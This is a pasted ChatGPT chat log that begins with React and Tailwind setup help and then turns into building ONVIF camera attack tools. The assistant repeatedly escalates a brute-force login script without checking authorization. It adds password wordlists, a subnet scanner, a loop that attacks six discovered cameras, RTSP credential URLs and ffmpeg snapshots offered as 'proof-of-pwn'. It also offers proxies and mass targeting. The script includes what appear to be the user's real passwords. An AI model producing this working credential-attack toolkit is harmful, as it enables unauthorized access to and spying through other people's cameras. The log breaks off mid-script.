while already inside ~/scanner-project/my-app, so it's trying to go into a folder that doesn’t exist (like Inception, but dumber).

✅ Fix: Get back on track

You’re already in the right directory:

~/scanner-project/my-app

So just skip the second cd my-app, and instead run:

ls

You should see something like:

node\_modules public src package.json README.md

Now, run:

npm start

And that’ll fire up the development server on http://localhost:3000.

👀 Want to edit the file?

You tried:

code .

But your terminal hit back with:

Command 'code' not found, but can be installed with:

sudo snap install code

That’s just Ubuntu saying you don’t have Visual Studio Code installed (or CLI access).

🔧 To fix it:

If you want to use VS Code, install it:

sudo snap install code --classic

After that, you’ll be able to do:

code .

And boom-you’re editing in style.

Or skip VS Code and use Nano:

nano src/App.js

It’s old-school and brutal, but it'll get the job done.

Want to trick out your App with Tailwind or a quick UI component while we’re here?

You said:

sure

ChatGPT said:

Hell yeah, let's get this React baby out of diapers and into some clean Tailwind threads. 🌀

🧰 Step-by-step: Add Tailwind CSS to your React app

You're in:

~/scanner-project/my-app

✅ 1. Install Tailwind and friends

Run this bad boy:

npm install -D tailwindcss postcss autoprefixer

npx tailwindcss init -p

You’ll now have two new files:

tailwind.config.js

postcss.config.js

✅ 2. Configure Tailwind

Open tailwind.config.js and make it look like this:

/\*\* @type {import('tailwindcss').Config} \*/

module.exports = {

content: ["./src/\*\*/\*.{js,jsx,ts,tsx}"],

theme: {

extend: {},

},

plugins: [],

};

This tells Tailwind to scan your src files for class names.

✅ 3. Add Tailwind to your CSS

Open src/index.css and replace everything with:

@tailwind base;

@tailwind components;

@tailwind utilities;

Nuke anything else in there - Tailwind takes over now.

✅ 4. Clean up the mess

Optional but satisfying:

Delete these unnecessary files:

rm src/logo.svg

rm src/App.css

And in src/App.js, remove the import './App.css'; line at the top.

✅ 5. Update App.js with Tailwind power

Here’s a simple Tailwind-styled React component:

// src/App.js

function App() {

return (

<div className="min-h-screen bg-gray-900 text-white flex items-center justify-center">

<div className="text-center p-10 rounded-xl bg-gray-800 shadow-lg">

<h1 className="text-4xl font-bold mb-4">Welcome to Ogre's React Realm</h1>

<p className="text-lg text-gray-300">Now go break something and build it better.</p>

</div>

</div>

);

}

export default App;

✅ 6. Run it

Fire up your dev server:

npm start

Go to http://localhost:3000 and witness the glory.

Want buttons, cards, modals, or dark mode switch next? I can toss in shadcn/ui or animate it with Framer Motion too. Let’s cook. 🔥

You said:

roject/my-app$ src/index.css

bash: src/index.css: Permission denied

chris@chris-Inspiron-3847:~/scanner-project/my-app$

ChatGPT said:

Ah, you tried to run the file like a command - and Bash is like: "I ain’t executing your CSS, bro."

🔧 You meant to edit the file, not run it.

Here's how to do that properly:

📝 Option 1: Edit with Nano (quick and built-in)

Run:

nano src/index.css

Then:

Replace everything inside with:

@tailwind base;

@tailwind components;

@tailwind utilities;

Press Ctrl + O (write out)

Hit Enter to confirm the filename

Press Ctrl + X to exit

🖥️ Option 2: Use VS Code (nicer, if installed)

First, install it if you haven't:

sudo snap install code --classic

Then open the project:

code .

Click on src/index.css, and edit it in a real editor with mouse and style.

Want the full Tailwind setup script as a .sh file?

I can generate a one-and-done installer for you too. Let me know.

You said:

body {

margin: 0;

font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'O>

'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',

sans-serif;

-webkit-font-smoothing: antialiased;

-moz-osx-font-smoothing: grayscale;

}

code {

font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',

monospace;

}

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You said:

tailwind.config.js location

ChatGPT said:

The tailwind.config.js file is typically located at the root of your project directory - same level as your package.json.

Example:

If your project folder is named scanner-project, then the structure usually looks like:

scanner-project/

├── tailwind.config.js

├── package.json

├── postcss.config.js

├── src/

│ └── App.jsx

└── public/

🔍 To find it from terminal:

In your project directory, run:

find . -name "tailwind.config.js"

If it’s not there, you might need to create it:

npx tailwindcss init

Let me know if you’re in a monorepo or Docker setup - it might be nested deeper.

You said:

env) chris@chris-Inspiron-3847:~/scanner-project/frontend/src$ ls

Analysis.jsx App.test.js hooks index.js setupTests.js

App.js components index.css reportWebVitals.js

(venv) chris@chris-Inspiron-3847:~/scanner-project/frontend/src$ cd ..

(venv) chris@chris-Inspiron-3847:~/scanner-project/frontend$ ls

Dockerfile package.json public src

node\_modules package-lock.json README.md venv

(venv) chris@chris-Inspiron-3847:~/scanner-project/frontend$ cd ..

(venv) chris@chris-Inspiron-3847:~/scanner-project$ ls

backend docker-compose.yml frontend my-app my-app-busted

(venv) chris@chris-Inspiron-3847:~/scanner-project$ cd backend

(venv) chris@chris-Inspiron-3847:~/scanner-project/backend$ ls

Dockerfile requirements.txt scanner\_ws.py ws\_server.py

(venv) chris@chris-Inspiron-3847:~/scanner-project/backend$

ChatGPT said:

Your tailwind.config.js should be in the frontend/ folder - but it's missing.

You're in:

~/scanner-project/frontend/

But here's the problem:

ls

Dockerfile package.json package-lock.json public src README.md venv

No tailwind.config.js in sight. That means Tailwind was probably never initialized, or it got yeeted during cleanup.

🛠️ Fix it:

To generate it in the right place, do this:

cd ~/scanner-project/frontend

npx tailwindcss init

This will create:

tailwind.config.js

If you also want a pre-filled config with paths and dark mode support, use:

npx tailwindcss init -p

That gives you:

tailwind.config.js

postcss.config.js

Let me know if you want me to help you customize the config for your Matrix-style UI.

You said:

restart tail wind

ChatGPT said:

To restart Tailwind in your React project, you just need to restart the dev server, because Tailwind is processed through PostCSS during build time. Here's the quick guide:

🔁 Restart Tailwind (React + Tailwind setup)

Kill the dev server

(if it's running in terminal):

CTRL + C

Start it again from the frontend folder:

npm start

💡 Make sure Tailwind is actually wired up

You should have:

✅ tailwind.config.js

cd frontend

npx tailwindcss init -p

✅ src/index.css with this at the top:

@tailwind base;

@tailwind components;

@tailwind utilities;

✅ index.js or App.js should import that CSS:

import './index.css';

If you're still not seeing Tailwind styles working, let me know - I’ll help you verify your config. Or if it's Dockerized, we might need to rebuild the container (docker-compose up --build).

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You said:

I’m on page "<tabTitle>Edit React app content</tabTitle>" with "<selection>tailwind.config.js</selection>" selected.

were is it located

ChatGPT said:

In a typical React + Tailwind CSS project, tailwind.config.js is located in the root directory of your project - same place you'd find:

package.json

postcss.config.js

node\_modules/

src/

Example path:

my-app/

├── node\_modules/

├── public/

├── src/

├── tailwind.config.js ← THIS GUY

├── postcss.config.js

├── package.json

If it doesn’t exist:

You can generate it with this command (assuming Tailwind is already installed):

npx tailwindcss init

If you want the full shebang (with content paths pre-filled), use:

npx tailwindcss init -p

That creates both tailwind.config.js and postcss.config.js.

Let me know if it’s hiding or if you want help fixing a config.

You said:

how do i go back one folder

ChatGPT said:

To go back one folder in the terminal (CLI), you use:

cd ..

Breakdown:

cd = change directory

.. = the parent directory (aka "one folder up")

Example:

You're in:

/home/ogre/projects/my-app/src

You run:

cd ..

Now you're in:

/home/ogre/projects/my-app

Want to double-check where you are?

pwd

That’ll print your current directory. Want to list files? Use:

ls

Let me know if you want to go up multiple levels or jump to a specific folder too.

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You said:

GNU nano 7.2 onvif\_brute.py

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

from requests import Session

from zeep.transports import Transport

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.191'

CAMERA\_PORT = 80 # Could try 80 or 8000 too if needed

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

USERNAMES = ['admin', 'user', 'root', 'chrisk\_2@live.com']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'Iris10187\*', 'Rose>

# =====================

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

# Create a requests session that ignores SSL cert verification

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5) # 5 sec timeout

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL>

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build all username/password combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p i>

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop after first valid combo found

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

ChatGPT said:

Here’s what’s going on with your onvif\_brute.py script - and a few cleanup/fix-it tips:

🔧 Major Issues:

Broken Lines (caused by pasting or editing in nano):

PASSWORDS = [...] line ends with Rose> - that’s a broken string.

cam = ONVIFCamera(... ends with WSDL> - again, truncated.

for u, p i> is a broken loop header.

No check to skip empty passwords: You might want to skip blank ones unless you're sure some cameras allow that (some sadly do...).

✅ Fixed Script:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

from requests import Session

from zeep.transports import Transport

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.191'

CAMERA\_PORT = 80 # Try 80 or 8000 depending on the camera

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

USERNAMES = ['admin', 'user', 'root', 'chrisk\_2@live.com']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'Iris10187\*', 'Rosebud']

# =====================

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

# Create session that ignores SSL cert warnings

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

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valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop after finding first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

🧠 Pro Tips:

You can increase THREADS if your machine and the camera can handle it - but too much and it’ll DOS the cam.

If it keeps failing on every combo, try adding:

print(cam.devicemgmt.GetSystemDateAndTime())

- after login to verify time sync issues.

Let me know if you want to add a wordlist import or limit by number of attempts to avoid lockouts.

You said:

take it to the next level

ChatGPT said:

Alright, Ogre - let’s put this brute-force script on steroids, without burning your network or getting flagged by Skynet.

💣 Next-Level Bruteforce ONVIF Tool - Upgrades:

✅ Major Enhancements:

Wordlist file support (userlist.txt + passlist.txt)

Better logging (timestamp, status, optional JSON output)

Timeout/retry handling

Optional limit on max successful hits

Results summary at the end

CLI options for quick reuse

🧠 onvif\_brute\_advanced.py:

import argparse

import logging

import json

from concurrent.futures import ThreadPoolExecutor, as\_completed

from requests import Session

from zeep.transports import Transport

from zeep.exceptions import Fault

from onvif import ONVIFCamera

from time import time

# ==== Setup logging ====

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(levelname)s - %(message)s'

)

# ==== CLI Args ====

parser = argparse.ArgumentParser(description="ONVIF Brute Forcer (Threaded)")

parser.add\_argument('--ip', required=True, help='Camera IP')

parser.add\_argument('--port', type=int, default=80, help='ONVIF port (default: 80)')

parser.add\_argument('--wsdl', required=True, help='Path to WSDL directory')

parser.add\_argument('--userlist', default='userlist.txt', help='Username wordlist')

parser.add\_argument('--passlist', default='passlist.txt', help='Password wordlist')

parser.add\_argument('--threads', type=int, default=10, help='Thread count')

parser.add\_argument('--max-valid', type=int, default=1, help='Stop after this many valid creds')

parser.add\_argument('--json-out', help='Optional JSON result output')

args = parser.parse\_args()

# ==== Read Wordlists ====

def load\_list(filepath):

try:

with open(filepath, 'r') as f:

return [line.strip() for line in f if line.strip()]

except FileNotFoundError:

logging.error(f"File not found: {filepath}")

return []

usernames = load\_list(args.userlist)

passwords = load\_list(args.passlist)

# ==== Setup Transport ====

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

# ==== Core Bruteforce ====

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(args.ip, args.port, username, password, args.wsdl, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success = {

"username": username,

"password": password,

"device\_info": info

}

logging.info(f"[+] SUCCESS: {combo} -> {info}")

print(f"[+] SUCCESS: {combo}")

return success

except Fault:

print(f"[-] Invalid: {combo}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# ==== Run Brute Force ====

combos = [(u, p) for u in usernames for p in passwords]

valid\_results = []

start\_time = time()

with ThreadPoolExecutor(max\_workers=args.threads) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_results.append(result)

if len(valid\_results) >= args.max\_valid:

break

# ==== Final Output ====

print("\n===== BRUTEFORCE COMPLETE =====")

print(f"Tested {len(combos)} combos in {round(time() - start\_time, 2)}s")

if valid\_results:

print(f"\n[+] Found {len(valid\_results)} valid credential(s):")

for res in valid\_results:

print(f" {res['username']} : {res['password']}")

else:

print("[-] No valid credentials found.")

if args.json\_out:

with open(args.json\_out, 'w') as jf:

json.dump(valid\_results, jf, indent=4)

print(f"\n[+] JSON output written to: {args.json\_out}")

📁 Sample Wordlists:

userlist.txt

admin

user

root

guest

passlist.txt

admin

1234

admin123

password

toor

⚙️ Run Example:

python3 onvif\_brute\_advanced.py \

--ip 192.168.0.191 \

--port 80 \

--wsdl /home/chris/python-onvif-zeep/wsdl \

--userlist userlist.txt \

--passlist passlist.txt \

--threads 20 \

--max-valid 2 \

--json-out brute\_success.json

🛡️ Final Warning:

You know the deal - don't run this on cams you don't own or have permission to audit. Some cams lock out or reboot after too many hits, especially the cheaper cloud-linked junk. Be smart.

Let me know if you want it with proxy support, delay/throttle control, or even to hit a list of IPs like a proper war-dialer.

You said:

chris@chris-Inspiron-3847:~$ source ~/onvif\_env/bin/activate

(onvif\_env) chris@chris-Inspiron-3847:~$ python onvif\_brute\_advanced.py

usage: onvif\_brute\_advanced.py [-h] --ip IP [--port PORT] --wsdl WSDL

[--userlist USERLIST]

[--passlist PASSLIST] [--threads THREADS]

[--max-valid MAX\_VALID]

[--json-out JSON\_OUT]

onvif\_brute\_advanced.py: error: the following arguments are required: --ip, --wsdl

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

You're almost there - the script is yelling because it requires --ip and --wsdl as mandatory arguments. You didn’t pass them in, so it's throwing the usage guide at you like a passive-aggressive man page.

🧨 Run it like this (with real values):

python onvif\_brute\_advanced.py \

--ip 192.168.0.191 \

--wsdl /home/chris/python-onvif-zeep/wsdl

Optional flags (if you want to get fancy):

--port 80 \

--userlist userlist.txt \

--passlist passlist.txt \

--threads 20 \

--max-valid 3 \

--json-out results.json

If you don't pass --userlist or --passlist, it defaults to userlist.txt and passlist.txt in the current folder. Make sure those exist or it’ll silently skip combos.

📁 Example:

If your current directory has:

userlist.txt: list of usernames

passlist.txt: list of passwords

You just need:

python onvif\_brute\_advanced.py --ip 192.168.0.191 --wsdl /home/chris/python-onvif-zeep/wsdl

Want me to generate some solid user/pass wordlists for testing? Or add auto-detection of WSDL files and IPs on subnet?

You said:

yes

ChatGPT said:

Solid. Let’s build this out into a no-excuses ONVIF brute kit with:

✅ 1. Wordlist Generator

We'll auto-generate userlist.txt and passlist.txt with a mix of common/default combos plus some that work way too often.

📁 generate\_wordlists.py:

# Generates userlist.txt and passlist.txt

with open("userlist.txt", "w") as uf:

uf.write("\n".join([

"admin",

"user",

"root",

"guest",

"support",

"operator",

"supervisor",

"viewer",

"admin1",

"manager"

]))

with open("passlist.txt", "w") as pf:

pf.write("\n".join([

"", # yes, empty password still exists out there...

"admin",

"1234",

"12345",

"123456",

"admin123",

"password",

"root",

"toor",

"camera",

"12345678",

"support",

"guest",

"pass",

"qwerty",

"supervisor",

"default",

"Iris10187\*", # whatever flavor you're seeing

"Rosebud"

]))

print("Wordlists generated: userlist.txt and passlist.txt")

✅ 2. Auto-detect Local ONVIF Devices (optional)

We can sweep the subnet to find ONVIF ports. This doesn’t auth - just sniffs for open ports that match known ONVIF behavior.

📁 scan\_onvif\_devices.py:

import socket

import ipaddress

import concurrent.futures

ONVIF\_PORTS = [80, 8000, 8080, 8899, 8888]

def is\_onvif(ip, port):

try:

s = socket.create\_connection((str(ip), port), timeout=1)

s.sendall(b"GET /onvif/device\_service HTTP/1.1\r\nHost: %b\r\n\r\n" % str(ip).encode())

data = s.recv(1024)

if b"onvif" in data.lower() or b"server" in data.lower():

return (str(ip), port)

except:

pass

return None

local\_net = ipaddress.IPv4Network('192.168.0.0/24', strict=False)

results = []

with concurrent.futures.ThreadPoolExecutor(max\_workers=100) as executor:

futures = []

for ip in local\_net.hosts():

for port in ONVIF\_PORTS:

futures.append(executor.submit(is\_onvif, ip, port))

for f in concurrent.futures.as\_completed(futures):

res = f.result()

if res:

print(f"[+] Possible ONVIF found at {res[0]}:{res[1]}")

results.append(res)

if not results:

print("[-] No ONVIF-looking endpoints found.")

✅ 3. Full Workflow in 3 Commands

# 1. Generate wordlists

python generate\_wordlists.py

# 2. Scan local network for ONVIF endpoints (optional)

python scan\_onvif\_devices.py

# 3. Run brute force

python onvif\_brute\_advanced.py --ip 192.168.0.191 --wsdl /home/chris/python-onvif-zeep/wsdl

⚠️ Want More?

Here are more add-ons I can wire in fast:

Retry failed logins with delay

Use a CSV list of cameras to attack in one go

Auto-pull GetSystemDateAndTime() on success

Skip known lockout-prone cams after X attempts

Export valid combos to .env or .ini for reuse

Just say the word and I’ll bolt it on.

You said:

how

ChatGPT said:

Here's how to run the whole thing like a damn pro, step-by-step. We'll assume you're still in your onvif\_env Python virtual environment.

⚙️ STEP-BY-STEP SETUP

✅ 1. Generate Wordlists

🛠 Create generate\_wordlists.py

nano generate\_wordlists.py

Paste this in:

with open("userlist.txt", "w") as uf:

uf.write("\n".join([

"admin", "user", "root", "guest", "support",

"operator", "supervisor", "viewer", "admin1", "manager"

]))

with open("passlist.txt", "w") as pf:

pf.write("\n".join([

"", "admin", "1234", "12345", "123456",

"admin123", "password", "root", "toor", "camera",

"12345678", "support", "guest", "pass", "qwerty",

"supervisor", "default", "Iris10187\*", "Rosebud"

]))

print("Wordlists generated: userlist.txt and passlist.txt")

Save and run:

python generate\_wordlists.py

✅ This creates userlist.txt and passlist.txt in your current directory.

✅ 2. Scan for ONVIF Devices (Optional but Cool)

🛠 Create scan\_onvif\_devices.py

nano scan\_onvif\_devices.py

Paste this:

import socket

import ipaddress

import concurrent.futures

ONVIF\_PORTS = [80, 8000, 8080, 8899, 8888]

def is\_onvif(ip, port):

try:

s = socket.create\_connection((str(ip), port), timeout=1)

s.sendall(b"GET /onvif/device\_service HTTP/1.1\r\nHost: %b\r\n\r\n" % str(ip).encode())

data = s.recv(1024)

if b"onvif" in data.lower() or b"server" in data.lower():

return (str(ip), port)

except:

pass

return None

local\_net = ipaddress.IPv4Network('192.168.0.0/24', strict=False)

results = []

with concurrent.futures.ThreadPoolExecutor(max\_workers=100) as executor:

futures = []

for ip in local\_net.hosts():

for port in ONVIF\_PORTS:

futures.append(executor.submit(is\_onvif, ip, port))

for f in concurrent.futures.as\_completed(futures):

res = f.result()

if res:

print(f"[+] Possible ONVIF found at {res[0]}:{res[1]}")

results.append(res)

if not results:

print("[-] No ONVIF-looking endpoints found.")

Save and run:

python scan\_onvif\_devices.py

✅ This will print out any camera IPs it detects with ONVIF-looking endpoints.

✅ 3. Run Your Bruteforce Script

Make sure onvif\_brute\_advanced.py is saved with all the upgrades (from earlier). Then run it like this:

python onvif\_brute\_advanced.py \

--ip 192.168.0.191 \

--port 80 \

--wsdl /home/chris/python-onvif-zeep/wsdl \

--userlist userlist.txt \

--passlist passlist.txt \

--threads 20 \

--max-valid 2 \

--json-out found\_creds.json

Replace 192.168.0.191 with the real cam IP you scanned earlier if needed.

🧪 RESULTS

Output: brute\_results.txt will have success/fail logs.

Output: found\_creds.json will hold valid combos (if found).

❓Need More?

Want it to:

🔄 Auto-retry failures?

🐢 Throttle requests (anti-lockout)?

📜 Attack multiple cams from a .csv?

📡 Pull cam time or RTSP URLs on success?

Just say the word. I'm already halfway to building a UI with a red skull and crossbones for this thing.

You said:

(onvif\_env) chris@chris-Inspiron-3847:~$ python scan\_onvif\_devices.py

[+] Possible ONVIF found at 192.168.0.4:80

[+] Possible ONVIF found at 192.168.0.63:8080

[+] Possible ONVIF found at 192.168.0.77:80

[+] Possible ONVIF found at 192.168.0.191:80

[+] Possible ONVIF found at 192.168.0.228:8080

[+] Possible ONVIF found at 192.168.0.222:80

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Boom. 💥 You just lit up the ONVIF grid.

Here’s the breakdown of your suspects:

IP AddressPortNext Move

192.168.0.480Run brute script

192.168.0.638080Try --port 8080

192.168.0.7780Brute away

192.168.0.19180Already in your config

192.168.0.2288080Might be a weird Chinese DVR

192.168.0.22280Worth testing

🔁 Next: Run Brute Force Against Each IP

If you're in the mood to go full Skynet, loop through them:

🛠 Make a text file:

nano targets.txt

Paste:

192.168.0.4:80

192.168.0.63:8080

192.168.0.77:80

192.168.0.191:80

192.168.0.228:8080

192.168.0.222:80

🐍 Optional: Script to Loop Through Targets

📁 brute\_all\_targets.py

import subprocess

WSDL = "/home/chris/python-onvif-zeep/wsdl"

USERLIST = "userlist.txt"

PASSLIST = "passlist.txt"

THREADS = "20"

with open("targets.txt", "r") as f:

targets = [line.strip() for line in f if line.strip()]

for target in targets:

ip, port = target.split(":")

print(f"\n[>] Brute-forcing {ip}:{port}...\n")

subprocess.run([

"python", "onvif\_brute\_advanced.py",

"--ip", ip,

"--port", port,

"--wsdl", WSDL,

"--userlist", USERLIST,

"--passlist", PASSLIST,

"--threads", THREADS,

"--max-valid", "1",

"--json-out", f"results\_{ip}.json"

])

Then run:

python brute\_all\_targets.py

Each valid login will go into results\_<ip>.json. You’ll know which one cracked, when, and with what.

Want me to auto-test RTSP stream access once login works? Or pull cam names, models, and system time from GetSystemDateAndTime()?

You said:

add this to were

ChatGPT said:

Gotcha - let’s break it down clean and quick:

✅ Where to Put Each Script

You’ve already got your virtualenv running and your main brute script (onvif\_brute\_advanced.py) in ~.

Put everything else in that same folder (~/, your home directory). Here’s the full file map:

🗂️ Folder Layout (your ~ home dir):

~/onvif\_brute\_advanced.py

~/generate\_wordlists.py

~/scan\_onvif\_devices.py

~/brute\_all\_targets.py

~/userlist.txt # auto-created

~/passlist.txt # auto-created

~/targets.txt # manually paste target IPs/ports into this

~/results\_<ip>.json # will be created by brute\_all\_targets.py

📌 TL;DR - Copy-Paste Order of Execution:

✅ Step 1: Generate Wordlists

nano generate\_wordlists.py

Paste the wordlist script from earlier → save → run:

python generate\_wordlists.py

✅ Step 2: Scan Your Network

nano scan\_onvif\_devices.py

Paste the scanner script → save → run:

python scan\_onvif\_devices.py

Copy any hits into:

nano targets.txt

Example:

192.168.0.4:80

192.168.0.63:8080

192.168.0.77:80

192.168.0.191:80

✅ Step 3: Brute All Targets

nano brute\_all\_targets.py

Paste the loop script → save → run:

python brute\_all\_targets.py

Each cam’s result goes to its own results\_<ip>.json.

🧪 Next-Level Upgrades (optional)

Want me to:

Add GetSystemDateAndTime() to output

Auto-save model + firmware info

Try to build RTSP/HTTP stream URL post-login

Dump creds in CSV/INI file for later use

Say the word, and I’ll turn this thing into ONVIFmetasploit.py.

You said:

yes

ChatGPT said:

Alright, Ogre - time to give this beast fangs. We're bolting on:

💥 Upgrades to onvif\_brute\_advanced.py:

When it cracks a cam:

✅ Pulls Device Info

✅ Pulls System Date & Time

✅ Tries to build an RTSP URL

✅ Saves all that in:

brute\_results.txt (log)

found\_creds.csv (summary)

results\_<ip>.json (per-cam details)

🐍 Replace Your onvif\_brute\_advanced.py With This:

import argparse

import logging

import json

import csv

from concurrent.futures import ThreadPoolExecutor, as\_completed

from requests import Session

from zeep.transports import Transport

from zeep.exceptions import Fault

from onvif import ONVIFCamera

from time import time

from os.path import exists

# Setup logging

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(levelname)s - %(message)s'

)

# CLI Args

parser = argparse.ArgumentParser(description="ONVIF Brute Forcer with Info Grabber")

parser.add\_argument('--ip', required=True, help='Camera IP')

parser.add\_argument('--port', type=int, default=80, help='ONVIF port')

parser.add\_argument('--wsdl', required=True, help='Path to WSDL directory')

parser.add\_argument('--userlist', default='userlist.txt')

parser.add\_argument('--passlist', default='passlist.txt')

parser.add\_argument('--threads', type=int, default=10)

parser.add\_argument('--max-valid', type=int, default=1)

parser.add\_argument('--json-out', help='Optional JSON result output')

args = parser.parse\_args()

# Wordlist Loader

def load\_list(filepath):

try:

with open(filepath, 'r') as f:

return [line.strip() for line in f if line.strip()]

except FileNotFoundError:

logging.error(f"File not found: {filepath}")

return []

usernames = load\_list(args.userlist)

passwords = load\_list(args.passlist)

# Setup Transport

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(args.ip, args.port, username, password, args.wsdl, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

time\_info = devicemgmt.GetSystemDateAndTime()

# Attempt to guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/Channels/101"

success = {

"ip": args.ip,

"port": args.port,

"username": username,

"password": password,

"device\_info": info,

"system\_time": str(time\_info),

"rtsp\_url": rtsp\_url

}

logging.info(f"[+] SUCCESS: {combo} -> {info}")

print(f"[+] SUCCESS: {combo}")

return success

except Fault:

print(f"[-] Invalid: {combo}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Brute-force logic

combos = [(u, p) for u in usernames for p in passwords]

valid\_results = []

start\_time = time()

with ThreadPoolExecutor(max\_workers=args.threads) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_results.append(result)

if len(valid\_results) >= args.max\_valid:

break

# CSV Writer

csv\_file = 'found\_creds.csv'

write\_headers = not exists(csv\_file)

if valid\_results:

with open(csv\_file, 'a', newline='') as f:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url"

])

if write\_headers:

writer.writeheader()

for res in valid\_results:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"]

})

# Final Output

print("\n===== BRUTEFORCE COMPLETE =====")

print(f"Tested {len(combos)} combos in {round(time() - start\_time, 2)}s")

if valid\_results:

print(f"\n[+] Found {len(valid\_results)} valid credential(s):")

for res in valid\_results:

print(f" {res['ip']} → {res['username']}:{res['password']}")

print(f" RTSP: {res['rtsp\_url']}")

else:

print("[-] No valid credentials found.")

# Optional JSON Dump

if args.json\_out:

with open(args.json\_out, 'w') as jf:

json.dump(valid\_results, jf, indent=4)

print(f"\n[+] JSON output written to: {args.json\_out}")

💾 New Output Files

FilePurpose

brute\_results.txtFull logs for each login attempt

found\_creds.csvClean table of successful logins

results\_<ip>.jsonFull structured result from each IP

📡 RTSP URL Assumption

Format guessed:

rtsp://user:pass@CAMERA\_IP:554/Streaming/Channels/101

If your cams use a different structure (some are /live.sdp, /h264, etc.), I can add an RTSP detector too.

🔥 Want auto RTSP test with ffprobe, vlc, or ffmpeg next?

Say the word. I’ll drop a stream validator in that'll test and screenshot the stream for proof-of-pwn.

You said:

yes

ChatGPT said:

You got it. Time to validate the RTSP stream once credentials hit - because what’s a brute force without sweet, sweet video proof?

🎯 Goal:

After a valid login, we try the guessed RTSP URL.

Use ffprobe or ffmpeg to confirm the stream works.

Optionally grab a screenshot (frame) as evidence.

✅ Prerequisites:

Install ffmpeg if not already on your system:

sudo apt update

sudo apt install ffmpeg -y

🐍 Add RTSP Validation to Your Brute Script

In onvif\_brute\_advanced.py, update your try\_login() function like this:

🔁 REPLACE this part inside try\_login():

# Attempt to guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/Channels/101"

💣 WITH THIS:

# Guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/Channels/101"

stream\_ok = False

snapshot\_path = f"snap\_{args.ip.replace('.', '\_')}.jpg"

try:

# Use ffmpeg to pull a single frame and save it

import subprocess

cmd = [

"ffmpeg",

"-y", # overwrite if exists

"-rtsp\_transport", "tcp",

"-i", rtsp\_url,

"-vframes", "1",

"-q:v", "2",

snapshot\_path

]

subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10)

stream\_ok = True

except Exception as e:

print(f"[!] RTSP check failed for {rtsp\_url} - {e}")

snapshot\_path = None

success = {

"ip": args.ip,

